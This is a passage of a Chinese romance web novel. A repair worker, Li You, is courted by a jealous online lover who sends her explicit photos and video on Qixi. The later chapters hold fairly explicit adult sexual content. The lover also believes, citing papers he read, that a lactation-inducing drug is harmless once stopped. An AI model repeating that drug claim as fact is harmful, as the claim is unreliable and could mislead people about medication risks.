路上,罗清坐在小电瓶后,戴着李尤给她的遮阳帽,抱着李尤的腰沟通:快开校了,她之后可能周末才能跟着李尤见习。
她比较抱歉,开校后工作日不能来,李尤一个人忙不过来,会给李尤造成麻烦。这段时间她跟着李尤学了很多,不止是多了家电维修一门技能。
李尤业务很广,家电水管维修清洗都在做,之前有闲心,还专研些有趣的东西。李尤把她会的所有在遇上一个问题后都会辐射性地展开,没有保留地交给罗清。
罗清还学会了换锁和用发夹钢丝拆解简单的锁,当然也有利用杠杆原理暴力拆一些U型锁。
李尤一开始便知道罗清只是业余学习性质,不是专门的职业需求,她说罗清不用担心,公司有的是人,而且老师那边,也有人可以和她搭配。
将罗清送入地铁站,李尤赶到老火锅店。
鲜红的牛油火锅冒着腾腾热气,咕噜咕噜冒开红花椒和干辣子,好几双筷子夹着毛肚,七上八下地烫着,一股浓郁的麻辣鲜香扑鼻。
餐桌上,不止老师一位女性,好些比李尤稍长的姨姨正双颊酡红地笑闹。
一见最小的李尤到了,坐在杨睿娟身旁的女性让位,热情说:“这就是你说的侄女吧。妹儿,今天这锅料太香了,姨姨们就不客气咯。没等你,你别见怪,来来来。坐在这儿吃。”
她们已经开吃了,预留了些在李尤碗内,荤菜堆叠成小山状的刨冰一样,小碗快装不下。
杨睿娟介绍道:“这是我侄女,李尤,木子李,蚩尤的尤。”
杨睿娟一个个介绍餐桌上的姨姨:“这位是刘阿姨,这位是王阿姨,这位是……”
李尤乖巧地唤了她们每人的名字,有个阿姨给她倒了果汁。
杨睿娟笑:“她可以喝。”说完,叫了二两梅子酒。
李尤喜欢喝这家的酒,酸酸甜甜,浓度还高,很适合微醺。
杨睿娟提前和李尤沟通过人名,比如,刘阿姨刘钰是做媒体行业,办了个文化发展公司,金曜日报的老总,而金耀网背靠西南某省经济发展研究所。
杨睿娟在济州岛打工认识了刘钰,刘钰那会儿没做公司,当时刚从北影导演系研究生毕业,没有急着找工作,一边做旅游节目的编导,一边拍了她的第一部纪录片,主角是一群黑去济州岛做工的而立之年女性。
拿了奖,刘钰去了当时还不是六代导演的某导手下做摄影。之后刘钰嫁了人,丈夫升迁,她们离了婚,折折腾腾好些年,刘钰又想起自己还是该拍点什么东西。她找到出海的杨睿娟,聚齐了前十年拍过的女人们,想重新拍她们的生活。
刘钰在跟拍杨睿娟的四个月,重回了职场,过了几年,她在上海和人合伙创办了一家文化公司,旗下打造多个IP产品,做各类栏目。
餐桌上的中年女性,大部分都是杨睿娟在济州岛打工认识的朋友,算上初见,交情有近二十年。
一听李尤年纪轻轻就跟着杨睿娟沉得住气做维修,纷纷夸她好厉害,叫她做长久,之后和杨睿娟独立出来开公司。
然后她们就讨论这两年各方面尾随政策,生意上的变化情况,也说旧识,谁谁谁在澳洲混成了牙科医生,拿了合法身份,也讨论家庭生活。
李尤旁听,也大概明白杨睿娟准备做什么。
-
八月中旬,罗清忙学校的事去了,李尤做活的搭子变成了某个年轻男生。
周末一起运动的朋友,则多了罗清。
在X大打球,会碰见熟人,偶尔也向富哥客户打声招呼。
李尤在火锅聚餐后,接到了公司的安排,不是站点的安排,是还要上层的公司总裁。
她们这家政维修服务公司结构并不复杂,就三个股东合资办的,站点门面全是租的,配个经理守着,经理工资还不一定有老师傅工资高,总的管理交给只入股30万的三把手把控,另两位大小总负责大的出资。
名下入股的公司很多,这间平时就更不上心,最多叫上三把手问问最近营业情况。
有个省级单位的日报听说她们公司女师傅维修技能很强,想采访一下,宣传新时代女性力量。
公司还没接受过任何媒体的宣传,三把手一时有些惊喜,他甚至不知道报社是怎么知道他们公司有多名女性维修工。不过他还是很重视,毕竟是个有头有脸的本地报社。
大气做人的杨师定是要被叫出去充当门面,李尤是个读过书的年轻大学生也得被叫上,杨师的两个徒弟用去充人头,站点经理还搭上几个年轻男工,让他们去蹭个机会露脸。
但报社编辑不采访男工。
经理一听,回去便同站点的老师傅阴阳怪气地调侃:“现在时代变了,咱们站点女维修工更吃香了。”
本地日报在抖上出了个访谈视频,之后就被金曜日报等多家媒体剪辑转发,小编标题取得有看点,李尤的公司就像站在风口上的猪,莫名其妙被吹飞了起来。
那几天,邀约采访杨睿娟的电话不断,但杨睿娟留的是站点办公室的电话。
经理每次接到电话,乐呵呵地安排杨睿娟停活,来办公室接受媒体老师的采访,神采飞扬又颐指气使,像土猪变成豪猪。
而李尤的搭档变成了站点新聘请的一名男大学生,因为两个年轻人要代表公司去参加一个机械制作大赛的素人综艺。
公司高层都被网媒的力量冲击得晕乎乎,不知道为什么在网媒上就火了,还有综艺邀请,在抖上浅浅出了名。
三把手不懂,但归结为公司的运道来了,只是钱还没到他的腰包内,他有点纳闷。做生意的人多少信点,三把手打算找人帮他把财库扩充一下,等着钱好入库。
很快,七夕来了。
见不到李尤时,霍仪只能关注李尤的工作视频,他很含蓄,不想自己频繁点赞给李尤造成困扰,偷偷摸摸点一两个,装作随意看见就点了的样子。
她和罗清搭的一个半月内,只有她出镜的视频,但最近,李尤的工作视频内多了个穿黑色短袖的年轻男孩子。
男生少男感很足,高高瘦瘦,夏日的阳光把他的皮肤晒得偏棕黑色,有肌肉但不多,手肘线条很明显,胸几乎没有,平的!脸吧,说不上帅,至少霍仪觉得不帅,挂两颗虎牙在嘴角,算青春可爱,娃娃脸只能让他沦为土帅类型去沾边,跟松狮和田园犬串出来似的。
而且,这男的,霍仪点评道:短袖领口宽大,时不时在镜头内蹲着,露个被日头晒得嫣红的锁骨和喉结,霍仪觉得他不太注意个人形象,不太捡点。
霍仪每次看到视频有这男的,都想刷走,但又忍不住看下去,审视这男的有没有露出多余部位给李尤看见了。
好恨。
以前没认识李尤,霍仪因为被霸凌,只有轻微的厌男症,厌恶那类睾酮素强盛控制不住情绪的自大男人,现在只剩下平等的憎恨。
平等地恨每一个比他年轻,比他貌美,比他能在日常生活中靠近李尤的男人。
他看男生接过李尤抵出的扳手时,不知道是心机深还是无意,触碰到了李尤的手指,而变得恶毒怨恨:好恶心的绿茶,真想祝愿所有男人都发福变丑,这样就不可能被李尤看见了。
转头,霍仪去抖上扫了眼“顶级荡夫”的账号,也就是他学得最多那位擦边博主。
他又解封了,但霍仪知道他窜稀似的更新了几条,马上又要被封。
这次发的视频是梦幻紫调下他伸出舌头舔手背的动图,嘴唇微张,哈着气,涂了亮甲油的指甲,故作懵懂害羞,但舌头又很□□似的探出一点舌尖,舔过粗壮的手臂内侧,他不露脸,只露半张面孔。
就一张图片,加了动效和富有节奏的音乐,视频下面一堆女孩子夸他火辣,好涩,免费,是好人,不收钱给她们送温暖看涩涩。
还有一些,霍仪看了会脸红的情话。
霍仪来了灵感。
七夕那天,霍仪提早发了一张照片给李尤,没有缠着问李尤今晚几点可以听到她的声音。
他知道李尤忙,做个好男人的标准是女人忙工作的时候,尽量不打扰她。
照片是暖色光调,熟杏的深红。
霍仪特地洗完澡后拍的,场景布置了半小时。
他的皮肤被温水滋润到细腻,白如鲜牛乳,手臂夹着大胸,鼓鼓地膨胀,穿了件白色蕾丝的情趣胸衣,很薄透。喉结被他指尖柔得绯红,刮出诱惑的血丝,很像被李尤折腾完的事后。
他戴了条
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白色蕾丝,遮住了微微凸起的喉结,但隐约可见他蕾丝下面他花费心思的小特色。
下半身是熨烫完好的白色西裤,没有一丝褶皱,霍仪开叉腿跪着拍,手往后背着。他头往上仰,脖颈拉长,露出半截下颌,黑痣意乱情迷地诱惑着观看者。霍仪从薄粉的唇内顶出一小片舌尖,含羞带怯,轻咬住从天坠落一片白玫瑰花瓣。
配文:【今晚小尤有没有空余时间享用我?】
【会一直等小尤,哪怕小尤有重要的人要陪,我也会等下去的。】
发完之后,霍仪捧住自己发烫的脸,觉得臊透了。
好装一男的。
话里话外怎么学茶了?
肯定是逛婚男圈子太久了。
圈子里面赘去别人家的成男都有股子说不上来的茶味。每天发文件夹和工作场所的照片说自己老婆对他怎么怎么不好,旁的人一问,他就说老婆每天拿香香的唇亲我一脸口红,要去浴室洗好久,怕被公司的其他油腻男看到,追问私事。还有什么做久了之后,肩膀和胸都好疼,叫老婆下班帮他带一枚消炎软膏,老婆冷落他说忘了,伤心死了。
底下一堆人劝他赶紧离了,不离不是男人,没必要受这种气,等到了第二天发帖人说,肩膀的牙印更深了,胸都破皮了。老婆还是太厉害了。
霍仪看完,对男人的恨只会更深一份。
一群装哥。
一群背刺他的装哥。
如果李尤这么对他,他才不会装模作样发帖到网络上去秀,要全世界瞻仰他的幸福。
真正的幸福是要被藏起来的,毕竟主人太好了,容易被其他流浪狗惦念上。
霍仪不太自信,一个问题萦绕着他,凭什么是他能跟李尤这么久。
霍仪发完照片,默默趴在床上等待李尤回信,偶尔看一眼平板上的PDF,搞点论文吃吃。
心思还是在七夕节能否和李尤线上约会一番。
久了李尤不回,霍仪便开始胡思乱想。
小尤,该不会去会所了吧!
七夕节不让他这个网黄福利哥陪,让摸得着看得见的小轩陪?
他们会坐在李尤身旁么?
那是他的位置啊啊啊,如果被小轩和其他男模顶替了,他真的会哭!
不会吧,不会不要他,去会所点小轩了吧!
他会死掉的,忮忌到死掉的。
但霍仪又不敢发多的信息吵到李尤。
他生出无法控制的难过,感觉做人好卑微,喜欢一个人可真让人心酸。他喜欢,人家不喜欢他,无可奈何,他能怎么办李尤的?不喜欢就是不喜欢,即便他现在出现在李尤面前,跪着求她怜爱一番,也不会有结果。
霍仪抱住脑袋想要尖叫发泄时,李尤回了消息。
【在忙。】
霍仪咬住手臂,嗷呜嗷呜地尖叫,忙回复:【不急,不急。今夜我都是你的。】
最后一句太直白,霍仪又删掉了。
转而,霍仪刷了下朋友圈,看见李尤更新了新的视频。
她刚做完最后一单,和那个年轻男生。
霍仪眼神变得沉闷,一脸嫌弃覷着视频里的男生,什么玩意儿。
视频是检查水管漏水,客户家里的吊顶莫名其妙往下渗水,李尤她们赶到时,已经如同下雨一样,把客厅都淹完了。
客户怕漏电,在看到吊顶的水从墙壁渗出时,便关了电闸。李尤和她的搭子开始排查是从何处漏水,水是清水,不是污水,说明是从干净的自来水管或者楼层上方的空调水管漏出。
吊顶拆了,发现上面没有水管,又排查了厨房和洗台的自来水管,最后找到楼上确定是楼上的洗衣机水管爆裂,从夹层渗到了楼下。
忙活一晚上,准备明早来改水管。
霍仪猜出是因为这事,让李尤没有按时下班成功。
可是........视频里那男的,为什么老是围着李尤打转?李尤叫他给什么工具,他就给什么,掌机一晃而过拍李尤的也是他。
霍仪看太多李尤的视频,李尤的拍摄风格完全不一样,李尤乱拍,只拍出了问题的电器维修,而这个视频里好几次晃到了和客户对谈的李尤,视觉中心位是李尤。
霍仪强烈的恨男雷达,敏锐地接受到了信号。
这个男生对李尤绝对是好感以上的程度。
他能让“他”接近李尤?不,他已经接近了!
他比霍仪更靠近李尤。
23.第 23 章
霍仪换了身衣服。
想起那句,“你不努力,你不动脑子,你就等着她被别的男人抢走吧。她身边的男人足够多,不差你这一个”。
霍仪赶紧去翻找衣柜。
他找出了下个月打算诱惑李尤的“秋天的第一件毛衣”。
版主最近分享的“灰白战袍”,给兄弟们说穿上它,再普通的普男都能摇身一变成为纯欲男神。
灰白色的粗织毛衣很短,圆领,短到露脐,一点针织布料卡在坚硬方块肌肉的上方两三厘米处,包不住似的,露出半抹方正韧劲的胸肌。
卖家说诱惑女友的话,最好把手臂和胸练得更粗,凹凸有致,性张力才会拉满。
霍仪正在加练和塑形的准备中,可现在,不得不翻出来,穿上他的“秋日战衣”,使出杀招。
还行吧,比透视旗袍还是差了点。
可等不及了。
霍仪很怕李尤身边有了别人,他没有安全感。生活中的一点小因素便容易使得他思绪万千,他不会朝着美好希冀未来的那部分幻想,他总是踽踽独行般闷头往坏处想很远。即便是握在掌心的幸福,他也太害怕失去或者被老天收回。
他对李尤便患得患失,生怕她被别的男人抢走。
他一直想:他能做到的,别的男人也肯定能做到。所以他要做别的男人做不到的事,才能留在她身边。
他穿上露脐毛衣后,薄薄一片纤细的A4腰晾在外面,换了条随性的牛仔裤,其实也不那么随性,这条牛仔裤会加大臀围,显得他的腰肢更细,胸肌更硕大,而臀部挺翘富含曲线美。
他调暗灯光,把手机放在床尾,白玫瑰被他撕碎淌进窗内,像凌乱的月光镜面洒在海面。
他躺了上去,完全向李尤赤/裸出他的心意,用牙齿咬住半截短的不能再短的衣摆,衣摆被他往上叼了起来。
白玫瑰花瓣散落在胸肌两侧,其中一片,遮盖得不完全,若有似无露出粉红。
霍仪醉酒般酡红了脸,赧然到闭上眼,拍了一段小视频给李尤。
腹肌在害怕观看者不喜欢的惴惴不安下一张一弛地鼓动,竖直的肚脐也挑逗似的翕张开口呵气,备求女人的唇舌去爱怜。
霍仪能拿得出手的不多,除了身躯,别的李尤也看不上。
尽他所能地,用含情脉脉的身躯去邀请:“李尤,你什么时候能来享用我呢?”
李尤刚开完单子出门,让客户和楼上商量好漏水到夹层的事,主要是楼上的水淹了楼下,最后到底谁出钱维修的问题。
两辆电瓶车旁。
同在一起干活的帮手夏朗,也收拾好工具准备回家,夏朗问:“尤姐,累一天了。我做招待,我们去吃烧烤怎么样?我请你,反正咱俩都单身。”
夏朗,刚毕业不久,双眼有股不谙世事的清澈,娃娃脸,双颊些微婴儿肥,总爱笑着,一笑起来,玄黑猫眼石的眼睛眯成一条星弧。
李尤没意识到今天是什么日子,免费的晚餐不吃白不吃,今天太累了,她也不想回家还要做顿饭。
刚想答应说好,微信里的男人耐不住寂寞,发来了消息。
李尤漠然着脸,点开,是段小视频。
霍意:【今晚是不是不要我了?(委屈)】
【小尤,别怪我。我太想你了。】
看了两秒,李尤平复呼吸,捏紧手机,关了屏幕。
霍意今天怎么了?太黏人了。
她没遮掩。
夏朗自然瞄到了,抬眼,也撞进李尤眼里。
李尤的眼眸深沉,暴风雨夜下盘旋在幽灵海的漩涡,吸走了迷失的船员。
夏朗的心极速跳动,他当然知道今天是什么日子了。
七夕节。
李尤没有提过有男朋友,没约会带他一起工作,说明很有可能是单身,李尤好像对七夕节并不关心。一如既往的潇洒。
夏朗便装作不知道是什么节日,想邀请李尤,话语中也有试探,李尤的确没反驳她是单身。
可是!!!
他猝不及防地一瞥,看到了那副场景,男人也能做到那样么?是哪个骚货,太胆大了,给尤姐发这种消息。
要死。
他怀疑是什么性/变/态在骚扰李尤。
可李尤也不像任由变态骚扰的样子。感觉他尤姐碰上这种事,绝对会把骚扰她的变态拎出来,先给两耳光,再拎到小区楼下处刑,当着众人的面给阉了,绝对不会让变态好过,让他社会性死亡。
尤姐没皱眉,还遮掩了屏幕,说明不是变态,难不成是尤姐的男友?
可什么样的男友会给女友发onlyfans付费解锁的动态小视频啊?躺着床上塌腰咬衣服,跟在私域擦边出卖自己身体的鸭子哥似的。以为自己玩的是纯欲,熟不知一眼脏?不知道身体有没有被其他女人玩过?
夏朗低下头,撇了下嘴讥嘲男人廉价,假装没看见视频,点开了美团,刷着烧烤店。
夏朗是临时被安排在李尤身边做帮手,他才做这行没多久,只是觉得找不到工作先应聘个什么工作干着,好赚点钱应付日常开销。
在站点教他的老师傅只做不讲,叫他自己用眼睛学,老师傅说他做学徒就是这么被师父教的,都是眼睛看着看着人就学会了。
要不是真上过大学,夏朗会信了他的邪。
肚皮里面没墨水,讲不出系统东西就直说。真要是眼睛看着看着就会了,那人还长手臂干嘛?
不满归不满,毕竟是老师傅,夏朗也不敢顶嘴,递给老师傅烟说:“您说的是,我一定认真看。”
一个月后,他没学会多少真东西,修电器看不懂线路,漏电保护器和空开还分不清楚,修水管不懂得看排管,也排查不来错误。只能帮老头打下手,做一些打杂的杂活,帮客户换个灯泡,灯带,洗抽油烟机这种可替代性强的活。
道理他懂。
活了徒弟,饿死师父。
站点也有好“师父”,经常听男工们讨论杨师带徒弟就带得不错,两个女工跟着她学了一个半月,好像什么都会了,也不知道从哪长的经验。
还有李尤姐技术也好,水管和电器都会维修,电脑硬件也会一点。出去跟她们俩干一天,相当于跟着不动嘴的老师傅偷学半个月。人家轻轻松松就把一些问题和处理方法讲明白了。
夏朗也想跟着杨睿娟学,可她不带男工,结果被经理叫去跟着李尤做帮手,说他长的好,年轻,上进,和李尤好好磨练下默契。
夏朗知道,是形象俊俏带给他的好处,过段时间李尤和他会代表公司上综艺。
跟着李尤学,李尤教东西,和大学里讲课讲的好的老师一样清晰,教一半,还会让夏朗实操一遍给她看。
夏朗叫李尤尤姐,他感激她,她人品很正直,又年轻,夏朗想起了他们专业里那些成绩特别好,绩点高,画图利索的女孩子,但毕业就和这些同学分道扬镳了。
李尤在发消息,夏朗沉默地刷着烧烤店,李尤没有拒绝他,说明这顿饭还是会赏脸。
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刷到一家还不错的烧烤店,夏朗问:“尤姐,这家近,好评还不错,去么?”
李尤回完霍意消息,抬头说:“去啊。饿了,怎么不去?”
夏朗哦了声,情绪像烟花般点燃,绚烂了一瞬。
那个发福利照应该不是尤姐男朋友,七夕节谁晾着男友只工作不回家,和别的男生出去吃饭,应该是在追求李尤的暧昧男。而且就算他是李尤男友,那只能证明这男的一般,他给不了李尤想要的,守不住李尤,才导致李尤出去和他玩。
这种男人一定有什么缺陷吧,夏朗在地图搜索地点,又揣测,要么是性格,要么是身体。但看着也不像不行的样子,身材还挺有料,至少比夏朗高点,一看便是经常经常健身。
夏朗不管了,反正七夕节是他和李尤待在一块。
李尤想赶回家好好收拾乱发视频的霍意一顿,今晚的他缠人得紧,三番两次发来消息撩拨她。
可肚子更饿,饥饿远大于一切。
【没吃饭,等我一小时。】
李尤觉得不过瘾,咬了下嘴皮,又补充:【会来好好收拾你。】
她发完消息,便骑上电瓶和同事吃烧烤。
-
【会来好好收拾你。】
小尤,说话总是这样,好飒的感觉,A爆了。
一句话便把霍仪所有的不安和仿徨消弭了。
霍仪看得脸红,胸膛一热,心窝被羽毛撩得麻痒,蹿到下腹,霍仪绞紧了腿,盯着李尤说出的那句话,他已经想到按李尤的惯例,她会怎么收拾他。
今晚也要绑着他手做么?还是蒙上他的眼睛?
霍仪纯黑的眼瞳起了一层濛濛春雨后的迷雾,他微微张着唇,回想起那天被蒙上眼睛被小尤语控到麝不出,所有的感官都消失,只剩下被无限放大的耳畔响动。女人冷冽如冰的嗓音,粗粝地磨在他耳朵,霍仪的睫毛很快湿漉漉了,黏在他眼皮下方,凌乱了一片。
他将脑袋埋进枕头内,闷闷地放低呼吸,柔软淡香的黑发磨蹭着枕头。
霍仪翻身起来,把立式的手机支架拿过来,手机架上。
霍仪用手臂遮掩住眼睛,羞耻的浪潮把他淹没,他丝毫不敢正视镜头内的自己。
还是只敢露出下巴和粉嫩的薄春给李尤看,这次他浅浅探出舌尖,无意识般在诱惑。最近学的擦边,男主播流行给女孩子这么玩。
毛衣被他的手臂彻底撩起,右侧衣摆往上爬动,鲜粉的桃花瓣盖了一半在毛衣底部,穿了等于没穿的地步。
还是只敢拍照片。
霍仪翻身起来检查照片的美感程度,调了冷色调滤镜,胸前会更显粉嫩适口。
和李尤约会止步于屏幕,霍仪有点不满足了。
可小尤如果发现霍仪是他,还会要他么?毕竟霍仪是明知一切在装作不知道欺骗小尤?算欺骗吧,没承认身份,还用维修上门的借口缠着小尤去接触。
他坐着发怔,揪心地恍然。
过了很久,霍仪才平复好情绪,回神,他将照片发了过去,打字问:【要怎么收拾我?】
烧烤刚上,李尤坐着收到了霍仪的照片。
她已经在烧烤店知晓今日是七夕了。
怪不得霍仪有些失控地渴求,缠着她,想得到她的回应。
扫了眼照片,大饱眼福,对着这样一个尤物说不心动是假的,李尤打字安抚:【把你艹哭。】
手机盖在桌上,李尤拾起一次性竹筷,不紧不慢夹着蔬菜吃。
24.第 24 章
李尤回家,洗澡吹干头发,已经是一个半小时以后,才和霍意视讯。
床头开了盏小灯,房间像是浸泡在镂空的南瓜屋里,温馨,但安静得过分,徒添几分静谧的清冷。
和霍意视讯,观看他的表演,有个坏毛病。
李尤时常腾不开手去捧手机,特别是兴到浓时,李尤浑身被霍意调动,忍到饥饿的疼,只能开窗通风,点根烟压着那种兴致解闷。
她买了个手机支架,放在床头,就是便于看霍意解闷。
李尤给霍意拨过去,她知道男人在等她。
霍仪正在看论文,在PDF上用笔做笔记,如果忽略他短袖之下还穿着白色蕾丝男士胸衣的话,那他所做的事无比正经。
他看到李尤的电话,丢了笔和平板,近乎一秒接通。
但他短袖还没脱,所以画面里只有女人,他的镜头陷在黑暗里。
霍仪一边麻利脱下短袖,露出线条硬朗的腹肌,一边看着明亮画面里的女人。她穿了舒适的米白睡衣靠在床头,头发似乎刚洗,蓬松而柔顺像是一匹光滑的绸缎搭在颈肩,她的唇依旧是充满血色的红润。
她微微低着头,不知道在想什么,好像在出神。
抬起眼皮睨视镜头那瞬,惫懒又轻慢,像一头雌狮大快朵颐餍足后,再丰腴的血肉对她亦是无足轻重。
霍仪没有和李尤对视,却有种被她看穿的心惊,习惯向她臣服的天性使然,男人脊柱一麻,热流往下涌,匍匐的身躯软了一半,禁不住夹腿,要尿了。
怎么用这种眼神看他?
跟看垃圾似的,好性感。
霍仪好想跪下,变成她不知羞摇尾乞怜的小公狗,撑着手臂,磨着膝盖爬至她的脚边,用脸蛋偎依着她温暖的小腿磨蹭。偎依在她身边,只有她才能给他前所未有的安宁和宽容。
可是为什么用这种眼神看他?
他今晚令她不满意了么?烦到她了?
霍仪的高敏人格对情绪有细入微毫的知觉,他隐隐察觉李尤轻描淡写情绪下的整肃和严厉,她不是那么轻松地在对待他。
霍仪眼尾下拉,无辜地眨眼疑惑。
“我……”不是故意。
“嘘——”李尤撑起身,凑近,手突然抚过镜头,好像穿过屏幕,抚摸在霍仪滚烫滴血的耳垂。
从他的耳骨,摩擦到他的下颌,最后停留在他的下巴。
霍仪心跳起来,明明没有一双手挑起他的下巴,他也没有打开摄像头,李尤更是面对漆黑的屏幕。
可霍仪十分自觉上扬下颌,怔忡盯着李尤失语。
李尤没有说一句话,扶正了手机,好整以暇抱着手臂,躺回了床头。
“今晚你很着急。”陈述句。
霍仪喉咙发干,愣愣地摇头,又点头,颔首放低姿态说:“因为是七夕,想和你过。”
李尤嗯了一声,“能理解。”
理解什么?理解他的感情?理解他的焦虑?
霍仪不懂,李尤如何理解俩人的关系?他好像不太满足了。
李尤微微抬了下巴,示意霍意可以开始。
她对霍意的性格逐渐熟知,霍意每次视讯前胆子大得不行,做尽“荡夫”。但一开始面对面视讯,镜头内的声音便成了怂到藏进泥洞的土拨鼠,怯到连头都不敢探出地表,缩在自己的安全巢穴内。
反差很强。
他很黏她,哪怕是给她发福利,也粘人得不行,两人认识时间越久,他给福利的次数愈发频繁。就算李尤年轻,身体也有些招架不住男人如此急切的诱惑。
李尤看出霍意频繁的白送,不是单纯为了钱。
男模真为了赚客户那几个钱,也不至于隔三差五自费情趣内衣?
他又不愿在会所让她点台。
霍意说在会所做兼职,李尤信。
她不去会所后,宋老板也打过电话来催,催她会员费还有很多,赶快趁活动去消费,点一送二。李尤说想来,但最近想点霍意的台。
宋老板气得阴阳怪气说,哦,那人啊。染上艾/滋了。一个滥/交男,早辞退了。
李尤问真的假的,宋老板又说实话,姓霍的俊男只是那晚来做过一次兼职,之后就没音信了,李尤真需要,他把登记电话找出来,给她约出来。不过李尤一定要来会所消费,带朋友来玩玩小轩和他,也无所谓。
宋老板这人平时不着调,也有正经的时候。
李尤信霍意是兼职,毕竟他花心思自费还挺多,李尤每次都享受到了。他拍X照,人却很谨慎,不露其他场景和家具,说明他很体面,输不起人。
在李尤的认知内,什么样的人输不起?有点社会资本的人输不起。霍意多半现生体面,只是有着和李尤志趣相投的爱好,可害怕见不得人,于是才去无人认识他的会所做男模。
李尤没有点明霍意的想法,觉得两人目前的关系也还行,除了搞不到真人以外,霍仪百分之百地顺她意。
霍意点开镜头,果真没有让李尤失望。
说他纯吧,他穿了白色蕾丝的胸衣,肌肤本就桃蕊似的嫩,白到一捏就碎,纯白织花蕾丝下若隐若现,更是倍加诱人,浪荡得李尤起了邪火,想把他按在床上干一晚上不罢休的程度。
说他骚吧,他在镜头前又抱着粗壮的手臂,夹着胸,指尖搭在大臂肌肉,举足无措地抓紧,发颤着扣进白皙的肌肤内。局促得像个木头人,僵直地展露身躯,不知道如何进行下一步。
在画面内,李尤只能看到他的下颌的黑痣,瞧不见半毫厘的唇瓣。
他呆愣愣地静坐着,让李尤看了一会儿漂亮身子,便开始解下颈间的蕾丝,拉长凸起嶙峋的喉结。
他问了些琐事作聊天的开场,无非就是李尤今天的工作累不累,晚上吃的什么烧烤,好吃么之类。又说这么晚吃晚饭对胃不好。
李尤会回答一些问题,缓解他的紧张。
解下丝带后,霍仪靠近镜头,说:“小尤,我们相处很久了。”
李尤嗯了一声。
霍仪惴惴不安开口:“今天我想问你个事。”
李尤让他问。
霍仪从床头拿来打开的牛奶盒,藏在身后,床单待会儿会打湿。不过对于霍仪来说,只是丢进洗衣机清洗烘干的小事。
能否让李尤开心或者能否知道李尤的答案对他更重要。
霍仪害怕接下来的行径会把李尤吓到,之后不跟他联系了。
“如果你觉得我太冒昧了,要告诉我…………我不太清楚这么做是否合适,是一个朋友告诉我可以对女孩子这样做的。”
霍仪说着,把牛奶从脖颈滴了下去,白色的滴线划过锁骨,流向胸肌,雨珠大的白茹悬挂着欲坠不坠地摇晃。
镜头聚焦得很近,近乎高清。
李尤的呼吸一滞,倏地,心脏被抽空,又疾速泵了起来。
这样的画面,就算是李尤也控制不住心悸,愈发地呼吸着。
李尤骂了句脏话。
霍仪听得耳朵一抖。
是在骂他么?被她讨厌了么?
刀子戳进心窝般揪疼,霍仪被那句话羞辱到了,捞起一旁准备好的浴巾,遮盖在胸前。
“我……不是故意的,不喜欢以后就不做了。不做
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了。小尤我不是变态。我只是想讨你开心。”霍仪没法解释,想推卸到婚男圈子里面的男人乱教他,又怕李尤觉得他敢做不敢当,把责任推卸到别人身上。
“拿下来。”李尤平复呼吸,“谁说我不喜欢。”
“啊?”
“乖。放下来,我看看。”李尤第一次对霍仪说乖,霍仪听出了李尤声音里循循善诱的诓哄。
霍仪乖乖放下遮掩的浴巾。
他愣了一会儿,想起小尤说喜欢……霍仪往下望了眼,隐秽到没眼看,连他自己都觉得他的行为荒谬得可怕。
他在做什么?
视频内传来李尤翻床头柜的声音,李尤拿出烟,含在嘴里吃咬。
过滤嘴不那么满足人了,看久了霍意的身躯,李尤也想过那是怎么种味道,霍意应该是香甜的,娇嫩的,柔韧的,经不住她唇舌的吮吸和齿间的折腾,不知道她用舌尖去舔时是否有弹性,好不好咬。
咬着过滤嘴,李尤轻哼了声。
蹿进霍仪的耳蜗,起了火,霍仪浑身血液点燃般。
小尤很喜欢吧。
霍仪更大胆了,在镜头内缓慢地把……从肩膀褪下。
一个小时后。
浴室的水流淋头冲下,李尤将额头抵在潮湿水汽的墙壁,想着霍意淡粉的舌头,发红的脖颈,纯白如牛乳的水珠,翘挺的臀部,觉得有些折腾过了。
她不满足。
她撑着手臂,抹了把脸颊,将头发往后脑勺梳理,让光洁的额头被水流冲洗,她才能保持清醒。
只是个七夕礼物,却让她疯狂到失控。
李尤很讨厌这种失控,这种失控在于压抑许久突兀爆发的渴耐,再怎么发泄都只是存在于屏幕内的虚妄。可就是这种视觉的虚妄,得不到的真实触感,更加深了李尤对霍意的幻想。
裹了浴袍出去,霍仪还切着语音等她。
“小尤?”霍仪沙哑着嗓音问,“回来了?”
“嗯。”
“刚刚说问我什么事?”李尤想起霍意表演前说“想问她的事”。
“其实没什么,想问你,喜不喜欢这样?但我好像知道答案了。”霍仪掩盖住嘴角的笑意,他的问题不是这个,不过也一样,他只是想问小尤介不介意他吃点特殊的药。
霍仪查过里面成分对人体影响的论文,几个男性受试者好像没有多余的影响,性/能力依旧完好,不是不可逆,只要停药就不会泌如了。
只要她喜欢,他都可以去做。
“喜欢。”李尤从不掩饰喜好,她趴在床上,吃饱喝足后的音色懒洋洋,“下次还要。”
霍仪开心死了。
李尤难得说还要,霍仪从没听过李尤对他的“费尽心思”说还要,看来她是真的喜欢这个小心意。这简直是对他今日花心思准备最大的褒奖。
霍仪油然生出自豪,又感到不真切的难以置信。
很少听到小尤口中的喜欢。
喜欢他的勾引,也是喜欢他这个人。
贴主果然没骗人,他有成功让李尤享受到极致的盛宴。什么每天围着她打转的同事,什么年轻男大,什么每天短袖内里真空露肉给她看的绿茶男,都不如他本人。
这些男人最多是小尤生命中的顾客,乱花渐欲迷人眼的乱花,而他,他是被她眷顾的男人。
他让小尤不会忘记这个七夕夜……吧?
“小霍。”李尤在叫霍仪。
霍仪回了神,宠物犬摇着螺旋桨尾巴似的,暴露欢快。
“怎么了?小尤!”
“我们得见一面。”李尤的口吻不容拒绝。
25.第 25 章
霍仪啊了一声。
他惊慌到像站在枝头的小鸟,一见着人影便要飞走了般。
“为什么这么突然?”
霍仪用手不安地抚摸他细软的鬓发,使劲抓了一把发根,揪着疼,他才能保持清醒。
他很久没剪过新发型了。
头发长了,现生中会不会看着邋遢?
他会抓一点头发,但好不好看,是矫揉造作的帅气,还是浑然天成的俊美,他不知道。
没有多少女性反馈给他,除了打趣他的导师和刘老师她们。
皮肤呢?
霍仪的指腹擦过脸颊,T区在热夏有点出油,摸着还算光滑。
可是他白么?他出门擦了防晒霜,但难保不会晒黑?
小尤应该喜欢又白又嫩的那类型青春男大吧。
“不突然。见面而已,你还需要心理准备吗?”李尤没有笑,只是疑问。虽然做完了轻松的事,但不像是很轻松地询问霍仪的想法,反倒显现出意外的严厉。
霍仪不懂她的口吻。
“那个……”霍仪刚想找借口推迟见面。
李尤发话,她觉得霍意好像误会她们的关系,是她要见他。
“不能拒绝。”李尤压抑着隐约的怒气说,这种怒气由何而来李尤也不知晓,“如果拒绝,不用再给我发消息了。我不想……”
我不想什么?
话说得很重。
李尤停顿,倒不是留下一段谈话的真空让霍仪遐想威胁,对他施压。
李尤只是在厘清她的想法,如果霍仪拒绝见面,她不想什么?
